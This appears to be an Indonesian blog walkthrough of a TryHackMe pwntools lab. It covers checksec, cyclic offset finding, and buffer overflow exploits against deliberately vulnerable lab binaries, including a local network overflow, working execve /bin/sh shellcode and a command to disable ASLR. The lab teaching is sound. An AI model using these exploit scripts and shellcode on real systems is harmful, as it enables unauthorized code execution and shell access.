Post

Intro to Pwntools

Ketika kita mempelajari binary exploitation dan CTF, kita akan menemukan bahwa banyak para pemain CTF menggunakan pwntools.

pwntools adalah CTF framework dan exploit development library yang ditulis menggunakan Python untuk mempermudah pengguna membuat script eksploitasi.

Saya menemukan tempat yang bagus untuk mempelajari dasar pwntools ini pada TryHackMe.

1. Persiapan

Instalasi pwntools dapat menggunakan pip seperti berikut:

1
2
3
4
➜ apt-get update
➜ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
➜ python3 -m pip install --upgrade pip
➜ python3 -m pip install --upgrade pwntools

Untuk latihan kali ini kita bisa gunakan Lab yang ada di TryHackMe atau men-download secara lokal.

Pada repositori tersebut terdapat terdapat beberapa direktori yang akan kita gunakan, yaitu: checksec, cyclic, networking, dan shellcraft.

2. Checksec

Pada direktori checksec terdapat kode C dan dua file executables dari kode tersebut. Hanya saja salah satunya memiliki pengamanan.

checksec digunakan untuk memeriksa apakah suatu binary memiliki pengamanan atau tidak. Untuk menggunakan checksec, kita bisa menggunakan perintah berikut:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜ checksec <binary>

➜ checksec intro2pwn1
[*] '/IntroToPwntools/checksec/intro2pwn1'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

➜ checksec intro2pwn2
[*] '/IntroToPwntools/checksec/intro2pwn2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Hasil dari perintah tersebut akan menampilkan informasi Arch, RELRO, Stack, NX, PIE, dan RWX dari binary yang dituju.

Keterangan:

  • RELRO (Relocation Read-Only): yang membuat global offset table (GOT) menjadi read-only setelah linker menyelesaikan fungsinya. GOT penting untuk penanganan seperti teknik serangan ret-to-libc.
  • Stack canaries: adalah token yang ditempatkan setelah Stack untuk mendeteksi stack overflow. Ketika terjadi stack overflow, token ini akan menjadi rusak. Hasilnya, program akan dimatikan.
  • NX: adalah kependekan dari non-executable. Jika ini diaktifkan, maka segmen memori dapat ditulis atau dieksekusi (hanya salah satu dalam satu waktu). Hal ini menghentikan potensi penyerang untuk menyisipkan shellcode ke dalam program, karena di segmen yang dapat ditulis tidak bisa dieksekusi. Pada binary yang rentan, kita mungkin dapat menemukan baris tambahan RWX yang menunjukkan bahwa ada segmen yang dapat dibaca, ditulis dan diekseksui.
  • PIE (Position Independent Executable): yaitu memuat dependensi program ke lokasi acak, sehingga serangan yang mengandalkan tata letak memori lebih sulit dilakukan.

Informasi lebih tentang penggunaan checksec dapat Anda temui pada artikel ini.

3. Cyclic

Sekarang kita lanjut ke direktori cyclic. Bisa kita lihat pada file test_cyclic.c, alur normal program hanya akan memanggil fungsi start(), sementara fungsi print_flag() tidak dipanggil.

Jika kita perhatikan, pada fungsi start() terdapat fungsi yang rentan terhadap buffer overflow, yaitu fungsi get() (Anda bisa membaca lebih dalam tentang ini di sini).

Pada kasus ini, variabel name hanya dialokasikan sebesar 24 byte. Jika kita memasukkannya lebih dari 24 byte, kita dapat menimpa bagian lain pada memori.

Seperti yang dijelaskan pada latihan buffer overflows sebelumnya, kita akan mencoba untuk mengontrol EIP (atau RIP). Setelah itu kita akan membuat program untuk mengeksekusi fungsi print_flag().

Penggunaan Cyclic

Pertama debug terlebih dahulu program intro2pwn3, lalu berikan input-an dengan data yang ada pada file alphabet.

1
2
3
4
➜ gdb intro2pwn3
gef> r < alphabet
gef> info register $eip
 eip            0x4a4a4a4a          0x4a4a4a4a

Terlihat pada hasil di atas, nilai EIP tertimpa hingga memiliki nilai 0x4a4a4a4a.

Untuk dapat mengontrol EIP kita harus menemukan offset-nya terlebih dahulu. Biasanya kita menggunakan msf-pattern_create, tetapi pada pwntools terdapat alat lain, yaitu cyclic.

Untuk menggunakan cyclic kita dapat menggunakan perintah berikut:

1
2
➜ cyclic 100
➜ cyclic 100 > pattern
1
2
3
4
➜ gdb intro2pwn3
gef> r < pattern
gef> info register $eip
eip            0x6161616a          0x6161616a

Ketika kita men-debug ulang program, lalu memberikan input-an dengan pattern sebelumnya, kita akan menemukan bahwa nilai EIP akan menjadi 0x6161616a atau jaaa dalam ASCII.

Selanjutnya, kita akan coba mengontrol nilai EIP dengan script berikut.

1
2
3
4
5
6
from pwn import *

padding = cyclic(cyclic_find('jaaa'))
eip = p32(0xdeadbeef)
payload = padding + eip 
print(payload)

Script tersebut dijalan menggunakan python2.

1
2
3
4
5
➜ python2 pwn_cyclic.py > control-eip
➜ gdb intro2pwn3
gef> r < control-eip
gef> info register $eip
eip            0xdeadbeef          0xdeadbeef

Terlihat pada hasil di atas, EIP berhasil terubah sesuai yang telah kita tetapkan sebelumnya.

Kita akan membuat program tersebut memanggil fungsi print_flag(). Untuk melakukan hal ini pertama kita harus mengetahui terlebih dahulu alamat memori yang digunakan oleh fungsi tersebut.

Jalankan perintah berikut pada gdb untuk mengetahui alamat memori dari fungsi print_flag():

1
2
gef>  print& print_flag
$1 = (<text variable, no debug info> *) 0x8048536 <print_flag>

Dari hasil perintah tersebut dapat diketahui bahwa 0x8048536 adalah alamat dari fungsi print_flag(). Setelah itu ubah 0xdeadbeef pada script menjadi 0x8048536, jalankan script tersebut dan fungsi print_flag() akan tereksekusi.

1
2
3
4
5
6
7
8
➜ gdb intro2pwn3
gef> r < test
fake{not a real flag}

➜ ./intro2pwn3 < test      
I run as dizmas.
Who are you?: Getting Flag:
fake{not a real flag}

4. Networking

Kita berpindah ke direktori networking. Di dalamnya, terdapat binary serve_test yang akan menjalankan port 1336 yang rentan terhadap buffer overflow.

1
2
chmod +x server_test
➜ ./server_test

Memahami program

Ketika kita berkoneksi menggunakan netcat terhadap port tersebut, server akan memberiksan respons “Give me deadbeef:” hingga koneksi terputus.

Jika kita perhatikan pada kode C di test_networking.c, aplikasi akan menerima input dari pengguna melalui protokol TCP pada port 1336. Input ini akan disimpan pada char array sebesar 32 byte (MAX).

Agar menampilkan flag, kita akan membuat nilai targets.printflag menjadi 0xdeadbeef melalui eksploitasi buffer overflow.

Memulai eksploitasi

Untuk melakukan eksploitasi, kita bisa menggunakan script berikut:

1
2
3
4
5
6
7
8
from pwn import *

connect = remote('127.0.0.1', 1336)
print(connect.recvn(18))
payload = "A"*32
payload += p32(0xdeadbeef)
connect.send(payload)
print(connect.recvn(34))

Ketika kita menjalankan script tersebut, terlihat bahwa flag tampil.

1
2
3
4
5
6
➜ python2 pwn_network.py
[+] Opening connection to 127.0.0.1 on port 1336: Done
Give me deadbeef: 
Thank you!
flag{*****************}
[*] Closed connection to 127.0.0.1 port 1336

5. Shellcraft

Sebelum lanjut, pastikan ASLR telah dinonaktifkan: echo 0 | tee /proc/sys/kernel/randomize_va_space.

Memahami program

Jika kita perihatikan pada kode C di test_shellcraft.c, program intro2pwnFinal memiliki kerentanan buffer overflow pada fitur input-nya. Kali ini kita akan membuat eksploitasi yang membuat program tersebut menjalankan shellcode yang kita sisipkan.

Memulai eksploitasi

Kita akan menggunakan script berikut untuk mengeksploitasi buffer overflow dengan menyisipkan shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

proc = process('./intro2pwnFinal') # berinteraksi dengan binary
proc.recvline() # menerima data dari program

padding = cyclic(cyclic_find('taaa')) 
eip = p32(0xffffcf80+200) # nilai ESP + offset sebesar 200 (bisa berapa pun, trial and error)
nop_slide = "\x90"*1000
shellcode = "jhh\x2f\x2f\x2fsh\x2fbin\x89\xe3jph\x01\x01\x01\x01\x814\x24ri\x01,1\xc9Qj\x07Y\x01\xe1Qj\x08Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80" # shellcraft i386.linux.execve "/bin///sh" "['sh', '-p']" -f a 
payload = padding + eip + nop_slide + shellcode

proc.send(payload) # mengirimkan payload
proc.interactive() # berinteraksi dengan shell yang didapatkan

Eksploitasi berhasil dilakukan:

1
2
3
4
5
➜ python2 hehe.py 
[+] Starting local process './intro2pwnFinal': pid 130312
[*] Switching to interactive mode
$ whoami
kali

Referensi:

  • https://tryhackme.com/room/introtopwntools
This post is licensed under CC BY 4.0 by the author.